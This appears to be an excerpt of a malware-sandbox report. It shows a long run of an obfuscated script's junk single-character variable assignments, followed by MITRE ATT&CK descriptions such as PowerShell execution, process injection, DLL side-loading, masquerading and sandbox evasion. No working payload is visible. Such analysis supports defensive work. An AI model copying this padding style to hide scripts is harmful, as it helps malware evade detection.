457	coutyus = "i";
458	coutyus = "s";
459	coutyus = "K";
460	coutyus = "g";
461	coutyus = "R";
462	coutyus = "D";
463	coutyus = "P";
464	coutyus = "a";
465	coutyus = "T";
466	coutyus = "u";
467	coutyus = "%";
468	upxsacto = "E";
469	upxsacto = "p";
470	upxsacto = "Y";
471	upxsacto = "s";
472	upxsacto = "w";
473	upxsacto = "Y";
474	upxsacto = "n";
475	upxsacto = "b";
476	rxnnuu = "H";
477	rxnnuu = "E";
478	rxnnuu = "R";
479	rxnnuu = "f";
480	rxnnuu = "Y";
481	rxnnuu = "j";
482	rxnnuu = "T";
483	rxnnuu = "S";
484	rxnnuu = "n";
485	rxnnuu = "P";
486	rxnnuu = "I";
487	rxnnuu = "z";
488	rxnnuu = "U";
489	rxnnuu = "y";
490	rxnnuu = "C";
491	rxnnuu = "9";
492	qmevyhmgx = "D";
493	qmevyhmgx = "g";
494	qmevyhmgx = "Y";
495	qmevyhmgx = "Z";
496	qmevyhmgx = "i";
497	qmevyhmgx = "D";
498	qmevyhmgx = "m";
499	qmevyhmgx = "s";
500	qmevyhmgx = "n";
501	qmevyhmgx = "O";
502	qmevyhmgx = "i";
503	qmevyhmgx = "i";
504	qmevyhmgx = "g";
505	qmevyhmgx = "m";
506	qmevyhmgx = "o";
507	qmevyhmgx = "k";
508	qmevyhmgx = "F";
509	qmevyhmgx = "m";
510	qmevyhmgx = "f";
511	qmevyhmgx = "j";
512	qmevyhmgx = "b";
513	qmevyhmgx = "z";
514	qmevyhmgx = "g";
515	qmevyhmgx = "N";
516	qmevyhmgx = "H";
517	qmevyhmgx = "s";
518	wtulrmg = "/";
519	lhvsqmly = "Y";
520	lhvsqmly = "F";
521	lhvsqmly = "q";
522	lhvsqmly = "O";
523	lhvsqmly = "G";
524	lhvsqmly = "J";
525	lhvsqmly = "E";
526	lhvsqmly = "m";
527	lhvsqmly = "B";
528	lhvsqmly = "e";
529	lhvsqmly = "Y";
530	lhvsqmly = "J";
531	lhvsqmly = "d";
532	lhvsqmly = "Q";
533	lhvsqmly = "v";
534	lhvsqmly = "d";
535	lhvsqmly = "p";
536	ofwoikkbo = "D";
537	ofwoikkbo = "R";
538	ofwoikkbo = "G";
539	ofwoikkbo = "j";
540	ofwoikkbo = "j";
541	ofwoikkbo = "j";
542	ofwoikkbo = "d";
543	ofwoikkbo = "t";
544	ofwoikkbo = "N";
545	ofwoikkbo = "C";
546	ofwoikkbo = "K";
547	ofwoikkbo = "H";
548	ofwoikkbo = "Y";
549	ofwoikkbo = "d";
550	ofwoikkbo = "r";
551	ofwoikkbo = "t";
552	ofwoikkbo = "E";
553	ofwoikkbo = "W";
554	ofwoikkbo = "s";
555	ofwoikkbo = "E";
556	ofwoikkbo = "i";
557	ofwoikkbo = "k";
558	ofwoikkbo = "D";
559	ofwoikkbo = "U";
560	ofwoikkbo = "d";
561	ofwoikkbo = "o";
562	pucrdshdp = "q";
563	pucrdshdp = "c";
564	pucrdshdp = "e";
565	pucrdshdp = "M";
566	pucrdshdp = "Q";
567	pucrdshdp = "F";
568	pucrdshdp = "Z";
569	pucrdshdp = "K";
570	pucrdshdp = "C";
571	pucrdshdp = "W";
572	pucrdshdp = "L";
573	pucrdshdp = "u";
574	pucrdshdp = "g";
575	pucrdshdp = "P";
576	pucrdshdp = "D";
577	pucrdshdp = "A";
578	pucrdshdp = "j";
579	pucrdshdp = "d";
580	pucrdshdp = "b";
581	pucrdshdp = "z";
582	pucrdshdp = "Y";
583	pucrdshdp = "i";
584	pucrdshdp = "e";
585	pucrdshdp = "m";
586	pucrdshdp = "m";
587	pucrdshdp = "I";
588	pucrdshdp = "K";
589	pucrdshdp = "a";
590	pucrdshdp = "g";
591	pucrdshdp = "c";
592	pucrdshdp = "b";
593	pucrdshdp = "v";
594	pucrdshdp = "b";
595	pucrdshdp = "b";
596	pucrdshdp = "R";
597	pucrdshdp = "d";
598	pucrdshdp = "H";
599	pucrdshdp = "T";
600	pucrdshdp = ".";
601	kumpzhzt = "v";
602	kumpzhzt = "U";
603	kumpzhzt = "b";
604	kumpzhzt = "Y";
605	kumpzhzt = "q";
606	kumpzhzt = "W";
607	kumpzhzt = "z";
608	kumpzhzt = "u";
609	kumpzhzt = "U";
610	kumpzhzt = "R";
611	kumpzhzt = "y";
612	kumpzhzt = "G";
613	kumpzhzt = "m";
614	kumpzhzt = "A";
615	kumpzhzt = "M";
616	kumpzhzt = "K";
617	kumpzhzt = "U";
618	mabdsbxk = "o";
619	mabdsbxk = "c";
620	mabdsbxk = "g";
621	mabdsbxk = "k";
622	mabdsbxk = "T";
623	mabdsbxk = "K";
624	mabdsbxk = "A";
625	mabdsbxk = "i";
626	mabdsbxk = "p";
627	mabdsbxk = "f";
628	mabdsbxk = "Z";
629	mabdsbxk = "u";
630	mabdsbxk = "e";
631	mabdsbxk = "n";
632	mabdsbxk = "P";
633	mabdsbxk = "W";
634	mabdsbxk = "E";
635	mabdsbxk = "P";
636	mabdsbxk = "S";
637	mabdsbxk = "I";
638	mabdsbxk = "F";
639	mabdsbxk = "z";
640	mabdsbxk = "b";
641	mabdsbxk = "b";
642	mabdsbxk = "v";
643	mabdsbxk = "d";
644	mabdsbxk = "U";
645	mabdsbxk = "y";
646	mabdsbxk = "p";
647	mabdsbxk = "P";
648	mabdsbxk = "B";
649	mabdsbxk = "G";
650	mabdsbxk = "j";
651	mabdsbxk = "x";
652	mabdsbxk = "q";
653	mabdsbxk = "1";
654	lyysqlj = "n";
655	vtkhlesx = "Y";
656	vtkhlesx = "D";
657	vtkhlesx = "c";
658	vtkhlesx = "G";
659	vtkhlesx = "S";
660	vtkhlesx = "T";
661	vtkhlesx = "Y";
662	vtkhlesx = "d";
663	vtkhlesx = "Q";
664	vtkhlesx = "D";
665	vtkhlesx = "x";
666	vtkhlesx = "f";
667	vtkhlesx = "S";
668	vtkhlesx = "J";
669	vtkhlesx = "z";
670	vtkhlesx = "z";
671	vtkhlesx = "Q";
672	vtkhlesx = "t";
673	vtkhlesx = "A";
674	vtkhlesx = "t";
675	vtkhlesx = "D";
676	vtkhlesx = "F";
677	vtkhlesx = "T";
678	vtkhlesx = "z";
679	vtkhlesx = "X";
680	vtkhlesx = "M";
681	vtkhlesx = "x";
682	vtkhlesx = "B";
683	vtkhlesx = "Y";
684	vtkhlesx = "A";
685	vtkhlesx = "I";
686	vtkhlesx = "F";
687	vtkhlesx = "i";
688	vtkhlesx = "B";
689	vtkhlesx = "M";
690	vtkhlesx = "H";
691	vtkhlesx = "P";
692	vtkhlesx = "G";
693	vtkhlesx = "c";
694	vtkhlesx = "h";
695	vtkhlesx = "V";
696	vtkhlesx = "F";
697	vtkhlesx = "w";
698	vtkhlesx = "r";
699	vtkhlesx = "2";
700	srhiotu = "m";
701	bsxdtnnkw = "S";
702	bsxdtnnkw = "d";
703	bsxdtnnkw = "f";
704	bsxdtnnkw = "P";
705	bsxdtnnkw = "Z";
706	bsxdtnnkw = "M";
707	bsxdtnnkw = "N";
708	bsxdtnnkw = "k";
709	bsxdtnnkw = "s";
710	bsxdtnnkw = "K";
711	bsxdtnnkw = "X";
712	bsxdtnnkw = "V";
713	bsxdtnnkw = "y";
714	bsxdtnnkw = "t";
715	bsxdtnnkw = "J";
716	bsxdtnnkw = "r";
717	bsxdtnnkw = "Y";
718	yvxlbpq = "Y";
719	yvxlbpq = "I";
720	yvxlbpq = "W";
721	yvxlbpq = "0";
722	fokdmsfp = "l";
723	fokdmsfp = "w";
724	fokdmsfp = "K";
725	fokdmsfp = "E";
726	fokdmsfp = "X";
727	fokdmsfp = "E";
728	fokdmsfp = "P";
729	fokdmsfp = "s";
730	fokdmsfp = "n";
731	fokdmsfp = "K";
732	fokdmsfp = "i";
733	fokdmsfp = "E";
734	fokdmsfp = "v";
735	fokdmsfp = "v";
736	fokdmsfp = "s";
737	fokdmsfp = "k";
738	fokdmsfp = "f";
739	fokdmsfp = "K";
740	fokdmsfp = "H";
741	fokdmsfp = "W";
742	fokdmsfp = "H";
743	fokdmsfp = "M";
744	fokdmsfp = "d";
745	fokdmsfp = "V";
746	fokdmsfp = "c";
747	fokdmsfp = "T";
748	fokdmsfp = "R";
749	fokdmsfp = "J";
750	fokdmsfp = "S";
751	fokdmsfp = "U";
752	fokdmsfp = "G";
753	fokdmsfp = "l";
754	fokdmsfp = "L";
755	fokdmsfp = "o";
756	fokdmsfp = "j";
757	fokdmsfp = "S";
758	fokdmsfp = "O";
759	fokdmsfp = "C";
760	fokdmsfp = "K";
761	fokdmsfp = "J";
762	fokdmsfp = "F";
763	fokdmsfp = "F";
764	fokdmsfp = "N";
765	fokdmsfp = "u";
766	ziyctabtx = "l";
767	ziyctabtx = "f";
768	ziyctabtx = "U";
769	ziyctabtx = "N";
770	ziyctabtx = "a";
771	ziyctabtx = "f";
772	ziyctabtx = "Z";
773	ziyctabtx = "R";
774	ziyctabtx = "g";
775	ziyctabtx = "L";
776	ziyctabtx = "w";
777	ziyctabtx = "m";
778	ziyctabtx = "J";
779	ziyctabtx = "B";
780	ziyctabtx = "B";
781	ziyctabtx = "X";
782	ziyctabtx = "I";
783	ziyctabtx = "j";
784	ziyctabtx = "W";
785	ziyctabtx = "w";
786	ziyctabtx = "U";
787	ziyctabtx = "v";
788	ziyctabtx = "S";
789	ziyctabtx = "P";
790	ziyctabtx = "q";
791	ziyctabtx = "t";
792	hwwcw = "I";
793	hwwcw = "W";
794	hwwcw = "l";
795	hwwcw = "J";
796	hwwcw = ":";
797	vnddwg = "B";
798	vnddwg = "n";
799	vnddwg = "s";
800	vnddwg = "K";
801	vnddwg = "f";
802	vnddwg = "d";
803	vnddwg = "L";
804	vnddwg = "K";
805	vnddwg = "N";
806	vnddwg = "6";
807	nbxcwvrfw = "c";
808	nbxcwvrfw = "G";
809	nbxcwvrfw = "k";
810	nbxcwvrfw = "U";
811	nbxcwvrfw = "R";
812	nbxcwvrfw = "a";
813	nbxcwvrfw = "z";
814	nbxcwvrfw = "n";
815	nbxcwvrfw = "V";
816	nbxcwvrfw = "D";
817	nbxcwvrfw = "H";
818	nbxcwvrfw = "g";
819	nbxcwvrfw = "D";
820	nbxcwvrfw = "M";
821	nbxcwvrfw = "r";
822	nbxcwvrfw = "z";
823	nbxcwvrfw = "O";
824	nbxcwvrfw = "v";
825	nbxcwvrfw = "y";
826	nbxcwvrfw = "I";
827	nbxcwvrfw = "Z";
828	nbxcwvrfw = "h";
829	nbxcwvrfw = "a";
830	nbxcwvrfw = "o";
831	nbxcwvrfw = "t";
832	nbxcwvrfw = "x";
833	rdtzyt = "d";
834	rdtzyt = "z";
835	rdtzyt = "u";
836	rdtzyt = "O";
837	rdtzyt = "H";
838	rdtzyt = "g";
839	rdtzyt = "b";
840	rdtzyt = "f";
841	rdtzyt = "v";
842	rdtzyt = "a";
843	rdtzyt = "n";
844	rdtzyt = "Q";
845	rdtzyt = "E";
846	rdtzyt = "J";
847	rdtzyt = "y";
848	rdtzyt = "m";
849	rdtzyt = "z";
850	rdtzyt = "q";
851	rdtzyt = "i";
852	rdtzyt = "Y";
853	rdtzyt = "o";
854	rdtzyt = "y";
855	rdtzyt = "U";
856	rdtzyt = "q";
857	rdtzyt = "k";
858	rdtzyt = "K";
859	rdtzyt = " ";
860	vkwmud = "u";
861	vkwmud = "w";
862	vkwmud = "x";
863	vkwmud = "I";
864	vkwmud = "z";
865	vkwmud = "x";
866	vkwmud = "M";
867	vkwmud = "q";
868	vkwmud = "n";
869	vkwmud = "L";
870	vkwmud = "W";
871	vkwmud = "Y";
872	vkwmud = "I";
873	vkwmud = "J";
874	vkwmud = "l";
875	vkwmud = "s";
876	vkwmud = "o";
877	vkwmud = "T";
878	vkwmud = "d";
879	vkwmud = "k";
880	vkwmud = "U";
881	vkwmud = "K";
882	tyihfk = "y";
883	tyihfk = "g";
884	tyihfk = "y";
885	tyihfk = "Y";
886	tyihfk = "L";
887	tyihfk = "M";
888	tyihfk = "B";
889	tyihfk = "X";
890	tyihfk = "u";
891	tyihfk = "D";
892	tyihfk = "R";
893	tyihfk = "s";
894	tyihfk = "H";
895	tyihfk = "k";
896	tyihfk = "V";
897	tyihfk = "x";
898	tyihfk = "u";
899	tyihfk = "z";
900	tyihfk = "k";
901	tyihfk = "x";
902	tyihfk = "h";
903	tyihfk = "D";
904	tyihfk = "r";
905	tyihfk = "p";
906	tyihfk = "n";
907	tyihfk = "k";
908	tyihfk = "P";
909	tyihfk = "a";
910	tyihfk = "p";
911	tyihfk = "J";
912	tyihfk = "B";
913	tyihfk = "q";
914	tyihfk = "j";
915	tyihfk = "y";
916	tyihfk = "x";
917	tyihfk = "W";
918	tyihfk = "h";
919	tyihfk = "w";
920	tyihfk = "F";
921	tyihfk = "R";
922	tyihfk = "j";
923	tyihfk = "g";
924	tyihfk = "_";
925	azyygeis = "a";
926	azyygeis = "x";
927	azyygeis = "D";
928	azyygeis = "K";
929	azyygeis = "r";
930	azyygeis = "C";
931	azyygeis = "T";
932	azyygeis = "k";
933	azyygeis = "U";
934	azyygeis = "P";
935	azyygeis = "L";
936	azyygeis = "r";
937	azyygeis = "C";
938	azyygeis = "Y";
939	azyygeis = "E";
940	azyygeis = "t";
941	azyygeis = "M";
942	azyygeis = "J";
943	azyygeis = "p";
944	azyygeis = "P";
945	azyygeis = "b";
946	azyygeis = "d";
947	azyygeis = "m";
948	azyygeis = "J";
949	azyygeis = "p";
950	azyygeis = "F";
951	azyygeis = "r";
952	azyygeis = "L";
953	azyygeis = "N";
954	azyygeis = "w";
955	azyygeis = "y";
956	azyygeis = "v";
957	dkczuaep = "s";
958	dkczuaep = "c";
959	dkczuaep = "o";
960	dkczuaep = "g";
961	dkczuaep = "j";
962	dkczuaep = "M";
963	dkczuaep = "E";
964	dkczuaep = "T";
965	dkczuaep = "v";
966	dkczuaep = "c";
967	dkczuaep = "Q";
968	dkczuaep = "t";
969	dkczuaep = "R";
970	dkczuaep = "b";
971	dkczuaep = "s";
972	dkczuaep = "c";
973	dkczuaep = "A";
974	dkczuaep = "m";
975	dkczuaep = "U";
976	dkczuaep = "v";
977	dkczuaep = "E";
978	dkczuaep = "w";
979	zmrnmp = "C";
980	zmrnmp = "I";
981	zmrnmp = "k";
982	zmrnmp = "X";
983	zmrnmp = "o";
984	zmrnmp = "I";
985	zmrnmp = "S";
986	zmrnmp = "P";
987	zmrnmp = "r";
988	zmrnmp = "j";
989	zmrnmp = "Q";
990	zmrnmp = "w";
991	zmrnmp = "g";
992	zmrnmp = "u";
993	zmrnmp = "J";
994	zmrnmp = "p";
995	zmrnmp = "B";
996	zmrnmp = "q";
997	zmrnmp = "D";
998	zmrnmp = "s";
999	zmrnmp = "R";
1000	zmrnmp = "N";
1001	zmrnmp = "k";
1002	zmrnmp = "L";
1003	zmrnmp = "E";
1004	zmrnmp = "j";
1005	zmrnmp = "I";
1006	zmrnmp = "e";
1007	zmrnmp = "n";
1008	zmrnmp = "L";
1009	zmrnmp = "d";
1010	zmrnmp = "j";
1011	zmrnmp = "k";
1012	zmrnmp = "c";
1013	zmrnmp = "Q";
1014	zmrnmp = "v";
1015	zmrnmp = "w";
1016	zmrnmp = "k";
1017	zmrnmp = "k";
1018	pzbdswqta = "U";
1019	pzbdswqta = "K";
1020	pzbdswqta = "L";
1021	pzbdswqta = "w";
1022	pzbdswqta = "Q";
1023	pzbdswqta = "o";
1024	pzbdswqta = "C";
1025	pzbdswqta = "m";
1026	pzbdswqta = "O";
1027	pzbdswqta = "t";
1028	pzbdswqta = "J";
1029	pzbdswqta = "e";
1030	pzbdswqta = "C";
1031	pzbdswqta = "U";
1032	pzbdswqta = "s";
1033	pzbdswqta = "Y";
1034	pzbdswqta = "X";
1035	pzbdswqta = "w";
1036	pzbdswqta = "w";
1037	pzbdswqta = "W";
1038	pzbdswqta = "g";
1039	pzbdswqta = "g";
1040	pzbdswqta = "T";
1041	pzbdswqta = "o";
1042	pzbdswqta = "Z";
1043	pzbdswqta = "L";
1044	pzbdswqta = "g";
1045	pzbdswqta = "T";
1046	pzbdswqta = "S";
1047	pzbdswqta = "I";
1048	pzbdswqta = "O";
1049	pzbdswqta = "q";
1050	pzbdswqta = "l";
1051	pzbdswqta = "h";
1052	pzbdswqta = "v";
1053	pzbdswqta = "d";
1054	pzbdswqta = "5";
1055	fhdjjrwye = "F";
1056	fhdjjrwye = "M";
1057	fhdjjrwye = "v";
1058	fhdjjrwye = "N";
1059	fhdjjrwye = "N";
1060	fhdjjrwye = "I";
1061	fhdjjrwye = "L";
1062	fhdjjrwye = "N";
1063	fhdjjrwye = "F";
1064	fhdjjrwye = "w";
1065	fhdjjrwye = "J";
1066	fhdjjrwye = "K";
1067	fhdjjrwye = "c";
1068	fhdjjrwye = "M";
1069	fhdjjrwye = "p";
1070	fhdjjrwye = "f";
1071	iyxfp = "q";
1072	iyxfp = "p";
1073	iyxfp = "T";
1074	iyxfp = "D";
1075	iyxfp = "x";
1076	iyxfp = "l";
1077	iyxfp = "X";
1078	iyxfp = "B";
1079	iyxfp = "G";
1080	iyxfp = "m";
1081	iyxfp = "m";
1082	iyxfp = "k";
1083	iyxfp = "z";
1084	iyxfp = "W";
1085	iyxfp = "h";
1086	iyxfp = "H";
1087	iyxfp = "P";
1088	iyxfp = "v";
1089	iyxfp = "t";
1090	iyxfp = "E";
1091	iyxfp = "Y";
1092	iyxfp = "t";
1093	iyxfp = "g";
1094	iyxfp = "d";
1095	iyxfp = "v";
1096	iyxfp = "e";
1097	iyxfp = "Z";
1098	iyxfp = "z";
1099	iyxfp = "J";
1100	iyxfp = "p";
1101	iyxfp = "o";
1102	iyxfp = "Q";
1103	iyxfp = "d";
1104	zdaeq = "X";
1105	zdaeq = "f";
1106	zdaeq = "o";
1107	zdaeq = "F";
1108	zdaeq = "R";
1109	zdaeq = "I";
1110	zdaeq = "N";
1111	zdaeq = "y";
1112	zdaeq = "J";
1113	zdaeq = "d";
1114	zdaeq = "p";
1115	zdaeq = "C";
1116	zdaeq = "W";
1117	zdaeq = "X";
1118	zdaeq = "x";
1119	zdaeq = "e";
1120	zdaeq = "W";
1121	zdaeq = "V";
1122	zdaeq = "M";
1123	zdaeq = "r";
1124	zdaeq = "D";
1125	zdaeq = "G";
1126	zdaeq = "R";
1127	zdaeq = "y";
1128	zdaeq = "s";
1129	zdaeq = "p";
1130	zdaeq = "U";
1131	zdaeq = "c";
1132	zdaeq = "W";
1133	zdaeq = "b";
1134	zdaeq = "N";
1135	zdaeq = "T";
1136	crika = "Y";
1137	crika = "Q";
1138	crika = "D";
1139	crika = "O";
1140	crika = "t";
1141	crika = "K";
1142	crika = "f";
1143	crika = "f";
1144	crika = "E";
1145	crika = "E";
1146	crika = "Y";
1147	crika = "x";
1148	crika = "T";
1149	crika = "S";
1150	crika = "C";
1151	crika = "L";
1152	crika = "Y";
1153	crika = "h";
1154	crika = "N";
1155	crika = "H";
1156	crika = "C";
1157	crika = "l";
1158	crika = "o";
1159	crika = "a";
1160	crika = "I";
1161	crika = "r";
1162	crika = "e";
1163	crika = "f";
1164	crika = "w";
1165	crika = "p";
1166	crika = "j";
1167	crika = "z";
1168	crika = "a";
1169	crika = "t";
1170	crika = "h";
1171	lcrilrhhg = "p";
1172	lcrilrhhg = "V";
1173	lcrilrhhg = "W";
1174	lcrilrhhg = "b";
1175	lcrilrhhg = "s";
1176	lcrilrhhg = "g";
1177	lcrilrhhg = "O";
1178	lcrilrhhg = "F";
1179	lcrilrhhg = "N";
1180	lcrilrhhg = "v";
1181	lcrilrhhg = "x";
1182	lcrilrhhg = "v";
1183	lcrilrhhg = "A";
1184	lcrilrhhg = "l";
1185	lcrilrhhg = "w";
1186	lcrilrhhg = "f";
1187	lcrilrhhg = "Y";
1188	lcrilrhhg = "t";
1189	lcrilrhhg = "z";
1190	lcrilrhhg = "E";
1191	lcrilrhhg = "p";
1192	lcrilrhhg = "t";
1193	lcrilrhhg = "t";
1194	lcrilrhhg = "g";
1195	lcrilrhhg = "Z";
1196	lcrilrhhg = "x";
1197	lcrilrhhg = "L";
1198	lcrilrhhg = "e";
1199	lcrilrhhg = "Z";
1200	lcrilrhhg = "f";
1201	lcrilrhhg = "v";
1202	lcrilrhhg = "r";
1203	lcrilrhhg = "W";
1204	lcrilrhhg = "g";
1205	lcrilrhhg = "H";
1206	lcrilrhhg = "M";
1207	lcrilrhhg = "w";
1208	lcrilrhhg = "f";
1209	lcrilrhhg = "V";
1210	lcrilrhhg = "N";
1211	lcrilrhhg = "t";
1212	lcrilrhhg = "i";
1213	xrqkeviz = "D";
1214	xrqkeviz = "E";
1215	xrqkeviz = "C";
1216	xrqkeviz = "i";
1217	xrqkeviz = "E";
1218	xrqkeviz = "h";
1219	xrqkeviz = "J";
1220	xrqkeviz = "Z";
1221	xrqkeviz = "X";
1222	xrqkeviz = "c";
1223	xrqkeviz = "i";
1224	xrqkeviz = "f";
1225	xrqkeviz = "D";
1226	xrqkeviz = "W";
1227	xrqkeviz = "Y";
1228	xrqkeviz = "w";
1229	xrqkeviz = "U";
1230	xrqkeviz = "S";
1231	xrqkeviz = "N";
1232	xrqkeviz = "l";
1233	xrqkeviz = "Q";
1234	xrqkeviz = "e";
1235	xrqkeviz = "R";
1236	xrqkeviz = "S";
1237	xrqkeviz = "S";
1238	xrqkeviz = "y";
1239	xrqkeviz = "a";
1240	xrqkeviz = "I";
1241	xrqkeviz = "x";
1242	xrqkeviz = "b";
1243	xrqkeviz = "j";
1244	xrqkeviz = "p";
1245	xrqkeviz = "A";
1246	xrqkeviz = "i";
1247	xrqkeviz = "t";
1248	xrqkeviz = "U";
1249	xrqkeviz = "t";
1250	xrqkeviz = "j";
1251	xrqkeviz = "t";
1252	xrqkeviz = "J";
1253	xrqkeviz = "V";
1254	xrqkeviz = "S";
1255	xrqkeviz = "i";
1256	xrqkeviz = "r";
1257	ujbrhhc = "c";
1258	ujbrhhc = "l";
1259	ujbrhhc = "b";
1260	ujbrhhc = "v";
1261	ujbrhhc = "O";
1262	ujbrhhc = "s";
1263	ujbrhhc = "q";
1264	ujbrhhc = "E";
1265	ujbrhhc = "I";
1266	ujbrhhc = "C";
1267	ujbrhhc = "s";
1268	ujbrhhc = "s";
1269	ujbrhhc = "o";
1270	ujbrhhc = "C";
1271	ujbrhhc = "T";
1272	ujbrhhc = "E";
1273	ujbrhhc = "b";
1274	ujbrhhc = "n";
1275	ujbrhhc = "N";
1276	nxxrz = "j";
1277	zddklk = "P";
1278	zddklk = "Q";
1279	zddklk = "I";
1280	zddklk = "B";
1281	zddklk = "c";
1282	zddklk = "T";
1283	zddklk = "Y";
1284	zddklk = "o";
1285	zddklk = "c";
1286	zddklk = "k";
1287	zddklk = "b";
1288	zddklk = "A";
1289	zddklk = "a";
1290	zddklk = "y";
1291	zddklk = "G";
1292	zddklk = "I";
1293	zddklk = "k";
1294	zddklk = "n";
1295	zddklk = "F";
1296	zddklk = "Y";
1297	zddklk = "a";
1298	zddklk = "u";
1299	zddklk = "q";
1300	zddklk = "U";
1301	zddklk = "E";
1302	zddklk = "I";
1303	lahamsz = "W";
1304	lahamsz = "x";
1305	lahamsz = "a";
1306	lahamsz = "O";
1307	lahamsz = "y";
1308	lahamsz = "A";
1309	lahamsz = "L";
1310	lahamsz = "L";
1311	lahamsz = "c";
1312	lahamsz = "e";
1313	lahamsz = "g";
1314	lahamsz = "U";
1315	lahamsz = "K";
1316	lahamsz = "G";
1317	lahamsz = "m";
1318	lahamsz = "\\";
1319	nehicduq = "R";
1320	nehicduq = "f";
1321	nehicduq = "i";
1322	nehicduq = "y";
1323	nehicduq = "x";
1324	nehicduq = "y";
1325	nehicduq = "E";
1326	nehicduq = "d";
1327	nehicduq = "K";
1328	nehicduq = "d";
1329	nehicduq = "x";
1330	nehicduq = "Q";
1331	nehicduq = "S";
1332	mddehuj = "w";
1333	mddehuj = "n";
1334	mddehuj = "\"";
1335	qqfjnyejd = "D";
1336	qqfjnyejd = "V";
1337	qqfjnyejd = "Q";
1338	qqfjnyejd = "i";
1339	qqfjnyejd = "H";
1340	qqfjnyejd = "u";
1341	qqfjnyejd = "E";
1342	qqfjnyejd = "m";
1343	qqfjnyejd = "F";
1344	qqfjnyejd = "Q";
1345	yzntvkhv = "B";
1346	yzntvkhv = "p";
1347	yzntvkhv = "Y";
1348	yzntvkhv = "M";
1349	yzntvkhv = "P";
1350	yzntvkhv = "w";
1351	yzntvkhv = "T";
1352	yzntvkhv = "l";
1353	yzntvkhv = "T";
1354	yzntvkhv = "M";
1355	yzntvkhv = "u";
1356	yzntvkhv = "i";
1357	yzntvkhv = "T";
1358	yzntvkhv = "Z";
1359	yzntvkhv = "t";
1360	yzntvkhv = "U";
1361	yzntvkhv = "V";
1362	yzntvkhv = "y";
1363	yzntvkhv = "y";
1364	yzntvkhv = "a";
1365	yzntvkhv = "V";
1366	yzntvkhv = "w";
1367	yzntvkhv = "f";
1368	yzntvkhv = "R";
1369	yzntvkhv = "s";
1370	yzntvkhv = "Q";
1371	yzntvkhv = "G";
1372	yzntvkhv = "W";
1373	yzntvkhv = "W";
1374	jluplr = "V";
1375	jluplr = "m";
1376	jluplr = "e";
1377	jluplr = "l";
1378	jluplr = "N";
1379	jluplr = "V";
1380	jluplr = "K";
1381	jluplr = "J";
1382	jluplr = "c";
1383	jluplr = "s";
1384	jluplr = "K";
1385	jluplr = "d";
1386	jluplr = "j";
1387	jluplr = "n";
1388	jluplr = "n";
1389	jluplr = "r";
1390	jluplr = "n";
1391	jluplr = "R";
1392	jluplr = "O";
1393	jluplr = "y";
1394	jluplr = "V";
1395	jluplr = "f";
1396	jluplr = "U";
1397	jluplr = "y";
1398	jluplr = "p";
1399	jluplr = "E";
1400	lxdopq ( );	lxdopq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

